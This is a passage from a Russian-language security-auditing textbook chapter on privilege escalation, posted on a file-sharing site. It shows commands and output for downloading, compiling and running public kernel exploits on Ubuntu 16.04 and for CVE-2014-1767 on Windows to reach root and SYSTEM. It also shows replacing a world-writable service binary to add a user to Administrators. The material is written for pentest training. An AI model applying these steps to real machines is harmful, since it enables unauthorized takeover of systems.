Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Skabtsov_N_V_-_Audit_bezopasnosti_informatsionnykh_sistem_-_2018.pdf
Скачиваний:
101
Добавлен:
24.01.2021
Размер:
9 Mб
Скачать

13 Превышение привилегий

Вбольшинстве систем существует контроль и разграничение уровня доступа к системным ресурсам, цель которого — запрет выполнения административных функций рядовыми пользователями.

Вто же время любой эксплойт нацелен на то, чтобы после эксплуатации какой-ли- бо уязвимости выполнять запланированные действия с максимально возможным уровнем привилегий. До этого момента мы рассматривали исключительно удаленные, сетевые атаки. Мы использовали эксплойты для проникновения в систему, после чего выполняли желаемые действия от имени привилегированного пользователя. В дальнейшем мы будем исходить из того, что у нас есть доступ к системе, но мы можем выполнять любые действия только от имени непривилегированного пользователя.

Вэтом случае мы будем использовать локальные эксплойты для повышения наших прав. По сути, большинство эксплойтов, нацеленных на повышение привилегий, предназначено для локального использования.

Локальное повышение прав в Linux

Представим себе следующую ситуацию: вам каким-то образом удалось заполучить логин и пароль пользователя к компьютеру под управлением Ubuntu 16.04. Вы зашли в систему при помощи SSH и обнаружили, что вам не хватает прав для совершения определенных действий.

joe@office:~$ id

uid=1001(joe) gid=1001(joe) groups=1001(joe) joe@office:~$ cat /etc/shadow

cat: /etc/shadow: Permission denied joe@office:~$

Локальное повышение прав в Windows    175

После сравнительно недолгого поиска можно найти на exploit-db.com эксплойт для повышения прав пользователя в данной системе. Далее, в нашем случае, все происходит тривиально — скачиваем, компилируем и запускаем.

joe@office:~$ wget -O /tmp/local_exp.c https://www.exploit-db.com/download/40049 --2016-12-01 00:19:59-- https://www.exploit-db.com/download/40049

Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8 Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443...

connected.

HTTP request sent, awaiting response... 200 OK Length: 6326 (6.2K) [application/txt]

Saving to: ‘/tmp/local_exp.c’

/tmp/local_exp.c 100%[===================>] 6.18K --.-KB/s in 0s

2016-12-01 00:20:00 (53.2 MB/s) — ‘/tmp/local_exp.c’ saved [6326/6326] joe@office:~$ gcc /tmp/exploit1 -m32 -O2 -o decr

joe@office:~$ gcc /tmp/exploit2 -O2 -o pwn joe@office:~$ ./decr

etfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik

[!]Decrementing the refcount. This may take a while...

[!]Wait for the "Done" message (even if you'll get the prompt back). joe@office:~$

[+] Done! Now run ./pwn joe@office:~$ ./pwn [+] Escalating privs...

root@office:~# id

uid=0(root) gid=0(root) groups=0(root) root@office:~#

Обратите внимание на то, что мы скачали один файл, а скомпилировали два. Объяснение этому следующее: эксплойт состоит из двух файлов, которые необходимо запустить последовательно, однако исходный код обоих сохранен в один файл. Поэтому, прежде чем компилировать, мы разделили их — перенесли информацию из одного файла в два, а затем скомпилировали и запустили оба. Всегда внимательно читайте описание эксплойта перед его запуском.

Локальное повышение прав в Windows

В этом примере мы продемонстрируем возможность локального повышения привилегий на компьютере под управлением Windows 7 x64. Уязвимость, которую мы будем использовать, имеет код CVE-2014-1767, а для компиляции эксплойта нам потребуется Python.

Самую новую версию Python мы скачали с официального сайта python.org, а эксплойт взяли с уже известного exploit-db.com.

Теперь нам необходимо сделать из Python-скрипта исполняемый файл для Windows; установим для этого pyinstaller.

176    Глава 13  •  Превышение привилегий

C:\Users\test>pip install pyinstaller Collecting pyinstaller

Downloading PyInstaller-3.2.tar.gz (2.8MB)

100% |################################| 2.8MB 339kB/s

Requirement already satisfied (use --upgrade to upgrade): setuptools in c:\pytho n27\lib\site-packages (from pyinstaller)

Collecting pefile (from pyinstaller) Downloading pefile-2016.3.28.tar.gz (58kB)

100% |################################| 61kB 2.0MB/s Collecting pypiwin32 (from pyinstaller)

Downloading pypiwin32-219-cp27-none-win32.whl (6.7MB) 100% |################################| 6.7MB 153kB/s

Collecting future (from pefile->pyinstaller) Downloading future-0.16.0.tar.gz (824kB)

100% |################################| 829kB 758kB/s

Installing collected packages: future, pefile, pypiwin32, pyinstaller Running setup.py install for future ... done

Running setup.py install for pefile ... done Running setup.py install for pyinstaller ... done

Successfully installed future-0.16.0 pefile-2016.3.28 pyinstaller-3.2 pypiwin32219

После того как все необходимые инструменты установлены и эксплойт скачан, создадим исполняемый файл.

C:\Users\test>pyinstaller --onefile C:\Users\test\Downloads\39525.py 629 INFO: PyInstaller: 3.2

629 INFO: Python: 2.7.12

...

21824 INFO: Bootloader c:\python27\lib\site-packages\PyInstaller\bootloader\Wind ows-32bit\run.exe

21824 INFO: checking EXE

21827 INFO: Building EXE because out00-EXE.toc is non existent 21828 INFO: Building EXE from out00-EXE.toc

21831 INFO: Appending archive to EXE C:\Users\test\dist\39525.exe

C:\Users\test>

Теперь скопируем файл на машину жертвы и запустим его.

C:\Users\joe> 39525.exe

[*]Exploit for MS14-040 / CVE-2014-1767 <AFD.sys Double Free>

[*]The current process is native x86-64

[*]Allocated a 32-bit friendly address for the shellcode at 0x0000000000010000

[*]Found nt!HalDispatchTable @FFFFF802BEEA6600

[*]Found ROP gadget to disable SMEP @FFFFF802BEF81510

[*]Created and connected a socket

[*]Filling the kernel heap...

[*]Created 7 rectangular regions °

[*]Opening a file handle

[ *] Creating NtWorkerFactory...

[*] Triggering shellcode via NtQuerylntervalProfile

Повышение привилегий в случае некорректной конфигурации прав доступа    177

[*] Go go gadget SYSTEM shell!

Microsoft Windows [Uersion 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami nt authority\system

C:\WINDOWS\system32>

Повышение привилегий в случае некорректной конфигурации прав доступа

Представим себе следующий случай: есть некая программа, запущенная как системный сервис, однако ни разработчик, ни администратор не удосужились проверить права доступа к файлам, используемым для работы этого сервиса. В таком случае получается, что любой пользователь может изменять используемые сервисом файлы. А это значит, что пользователь может внедрить в файл произвольный код и вызвать перезагрузку сервера, а после перезагрузки код будет выполнен с повышенными правами.

В Windows поиск файлов, к которым есть доступ у всех пользователей, легко осуществить при помощи PowerShell.

PS C:\Users\joe> Get-ChildItem C:\ -Recurse | Get-Acl | findstr Everyone

jhi_service.exe

BUILTIN\Administrators

Everyone

Allow

FullControl...

nusb3mon.exe

BUILTIN\Administrators

Everyone

Allow

FullControl...

Теперь создаем исполняемый файл, отвечающий за то, чтобы пользователь joe был добавлен в группу Administrators.

root@kali:~# sudo apt-get install mingw-w64 Reading package lists... Done

Building dependency tree

Reading state information... Done

The following additional packages will be installed: binutils-mingw-w64-i686 binutils-mingw-w64-x86-64 g++-mingw-w64

...

Setting up gnat-mingw-w64 (6.1.1-12+19.1) ...

Setting up mingw-w64 (4.0.6-1) ...

root@kali:~# x86_64-w64-mingw32-gcc -o nusb3mon.exe /root/useradd.c

Скопируем полученный файл на машину жертвы и заменим им оригинальный файл, после этого остается только перезагрузить сервис или машину жертвы. В случае, если у вас недостаточно прав, можно дождаться момента, пока это сделает кто-нибудь другой.